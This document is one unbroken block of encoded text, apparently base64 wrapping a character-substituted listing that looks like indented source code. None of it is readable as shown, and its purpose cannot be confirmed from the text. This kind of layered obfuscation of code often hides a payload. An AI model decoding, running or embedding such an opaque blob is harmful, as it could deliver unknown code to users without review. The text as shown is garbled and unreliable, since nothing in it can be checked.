4b6g4b+N4b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6g4b6g4b6o4b6g4b6o4b6g4b6y4b684b6w4b+/4b+l4b+k4b+g4b+l4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6g4b6g4b6o4b6g4b6o4b6g4b6y4b684b6w4b+/4b+l4b+k4b+g4b+l4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6h4b6i4b6j4b6k4b6y4b684b6w4b6y4b6g4b6y4b6w4b674b6w4b+54b+g4b+g4b+z4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+24b+54b++4b+x4b+84b+o4b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+D4b+g4b+84b+54b+k4b644b++4b+14b+n4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+r4b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b6y4b+24b+Y4b+n4b6t4b6y4b654b6w4b+t4b684b6w4b+D4b+k4b+i4b+54b++4b+34b+D4b+g4b+84b+54b+k4b+f4b+g4b+k4b+54b+/4b++4b+j4b6+4b+e4b+/4b++4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+p4b6w4b6t4b6w4b+24b+54b++4b+x4b+84b+o4b+L4b6g4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+q4b6w4b6t4b6w4b+24b+54b++4b+x4b+84b+o4b+L4b6h4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+94b+54b+04b+z4b+/4b+04b6w4b6t4b6w4b+z4b+/4b+04b+14b+m4b6w4b674b6w4b6y4b6u4b6y4b6w4b674b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+z4b+/4b+04b+14b+p4b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+/4b+l4b+k4b+g4b+l4b+k4b654b654b654b6w4b674b6w4b6y4b6u4b6y4b6w4b674b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+z4b+/4b+04b+14b+q4b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+/4b+l4b+k4b+g4b+l4b+k4b654b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+z4b+/4b+04b+14b+o4b6w4b6t4b6w4b+z4b+/4b+04b+14b+p4b6w4b674b6w4b+94b+54b+04b+z4b+/4b+04b6w4b674b6w4b+z4b+/4b+04b+14b+q4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+24b+54b+84b+14b+o4b6w4b6t4b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6+4b+e4b+14b+o4b+k4b644b6h4b6g4b6g4b6g4b6g4b684b6w4b6p4b6p4b6p4b6p4b6p4b6p4b654b654b6w4b674b6w4b6y4b6+4b+14b+o4b+14b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+/4b+/4b+84b6w4b+94b+x4b+74b+14b+14b+o4b+14b6w4b6t4b6w4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b644b+o4b+24b+54b+84b+14b+o4b684b6w4b+o4b+z4b+/4b+04b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+94b+x4b+74b+14b+14b+o4b+14b6w4b6t4b6t4b6w4b+24b+x4b+84b+j4b+14b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+44b+i4b+/4b+n4b6w4b++4b+14b+n4b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b++4b+m4b+x4b+84b+54b+04b+A4b+i4b+/4b+34b+i4b+x4b+94b+V4b+o4b+z4b+14b+g4b+k4b+54b+/4b++4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6i4b6i4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+o4b+24b+54b+84b+14b+o4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+C4b+14b+x4b+04b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+54b+z4b+o4b+z4b+g4b6w4b6t4b6w4b644b+54b++4b+k4b654b+24b+j4b6i4b6i4b6j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6h4b6w4b6t4b6w4b+C4b+14b+x4b+04b+o4b644b+24b+j4b6i4b6i4b6j4b684b6w4b+54b+z4b+o4b+z4b+g4b684b6w4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6i4b6i4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+U4b+14b+84b+14b+k4b+14b644b+o4b+24b+54b+84b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6h4b6k4b6k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+H4b+i4b+54b+k4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+24b+j4b6h4b6k4b6k4b684b6w4b+y4b+p4b+k4b+14b+j4b6h4b684b6w4b+y4b+p4b+k4b+14b+j4b6i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6h4b6k4b6k4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+D4b+14b+k4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b++4b+14b+n4b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b644b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+J4b+14b+x4b+i4b684b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+d4b+/4b++4b+k4b+44b684b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+U4b+x4b+p4b684b6w4b6h4b6h4b684b6w4b6h4b6h4b684b6w4b6h4b6h4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+04b+/4b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+Z4b++4b+24b+/4b+L4b+N4b6w4b+24b+54b+84b+14b+j4b+o4b6w4b6t4b6w4b+04b+/4b+p4b6+4b+X4b+14b+k4b+W4b+54b+84b+14b+j4b644b6y4b664b6+4b+14b+o4b+14b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+W4b+54b+84b+14b+Z4b++4b+24b+/4b6w4b+p4b+24b+54b+84b+14b+o4b6w4b+54b++4b6w4b+24b+54b+84b+14b+j4b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b6w4b6t4b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+W4b+l4b+84b+84b+e4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+e4b+x4b+94b+14b6+4b+X4b+14b+k4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+e4b+x4b+94b+14b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+Y4b+/4b+l4b+i4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b674b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+d4b+54b++4b+l4b+k4b+14b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b674b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+D4b+14b+z4b+/4b++4b+04b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b6t4b6t4b6w4b6y4b6h4b6h4b6h4b6h4b6h4b6h4b6y4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+Z4b++4b+24b+14b+z4b+k4b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+l4b++4b+k4b+14b+i4b674b674b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6w4b+r4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b+L4b+N4b6w4b+04b+54b+i4b+j4b6w4b6t4b6w4b+04b+/4b+p4b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+54b+14b+j4b644b6y4b664b6+4b664b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+o4b+04b+54b+i4b6w4b+54b++4b6w4b+04b+54b+i4b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+o4b+04b+54b+i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6w4b+r4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+y4b+/4b+/4b+84b6w4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b644b+j4b+k4b+i4b+54b++4b+34b6w4b+q4b++4b+x4b+94b+14b684b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+Z4b+T4b+/4b+04b+14b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6w4b+m4b+54b+z4b6w4b6t4b6w4b++4b+14b+n4b6w4b+T4b+D4b+44b+x4b+i4b+g4b+T4b+/4b+04b+14b+A4b+i4b+/4b+m4b+54b+04b+14b+i4b644b654b6+4b+T4b+i4b+14b+x4b+k4b+14b+T4b+/4b+94b+g4b+54b+84b+14b+i4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+A4b+x4b+i4b+x4b+94b+14b+k4b+14b+i4b+j4b6w4b+/4b+z4b+g4b6w4b6t4b6w4b++4b+14b+n4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+A4b+x4b+i4b+x4b+94b+14b+k4b+14b+i4b+j4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+C4b+14b+24b+14b+i4b+14b++4b+z4b+14b+04b+R4b+j4b+j4b+14b+94b+y4b+84b+54b+14b+j4b6+4b+R4b+04b+04b644b6y4b+D4b+p4b+j4b+k4b+14b+94b6+4b+04b+84b+84b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+X4b+14b++4b+14b+i4b+x4b+k4b+14b+V4b+o4b+14b+z4b+l4b+k4b+x4b+y4b+84b+14b6w4b6t4b6w4b+k4b+i4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+f4b+g4b+k4b+54b+/4b++4b+j4b6w4b6t4b6w4b6y4b6/4b+k4b+x4b+i4b+34b+14b+k4b6q4b+n4b+54b++4b+14b+o4b+14b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+f4b+l4b+k4b+g4b+l4b+k4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b6w4b6t4b6w4b+q4b++4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+C4b+14b+j4b+l4b+84b+k4b+j4b6w4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6w4b6t4b6w4b+m4b+54b+z4b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+W4b+i4b+/4b+94b+D4b+/4b+l4b+i4b+z4b+14b644b+/4b+z4b+g4b684b6w4b+z4b+/4b+04b+14b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+V4b+i4b+i4b+/4b+i4b6w4b+o4b+m4b+z4b+14b6w4b+54b++4b6w4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6+4b+V4b+i4b+i4b+/4b+i4b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b6+4b+H4b+i4b+54b+k4b+14b+c4b+54b++4b+14b644b+o4b+m4b+z4b+14b6+4b+V4b+i4b+i4b+/4b+i4b+e4b+l4b+94b+y4b+14b+i4b6w4b674b6w4b6y4b6q4b6w4b6y4b6w4b674b6w4b+o4b+m4b+z4b+14b6+4b+V4b+i4b+i4b+/4b+i4b+E4b+14b+o4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6+4b+V4b+i4b+i4b+/4b+i4b+j4b6+4b+T4b+/4b+l4b++4b+k4b6w4b6t4b6t4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+k4b+i4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+24b+x4b+84b+j4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+/4b++4b++4b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+g4b+84b+x4b+54b++4b+o4b6w4b6t4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+W4b+i4b+/4b+94b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+04b+/4b++4b++4b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+V4b++4b+z4b+/4b+04b+54b++4b+34b6+4b+F4b+E4b+W4b6o4b6+4b+X4b+14b+k4b+D4b+k4b+i4b+54b++4b+34b644b+g4b+84b+x4b+54b++4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6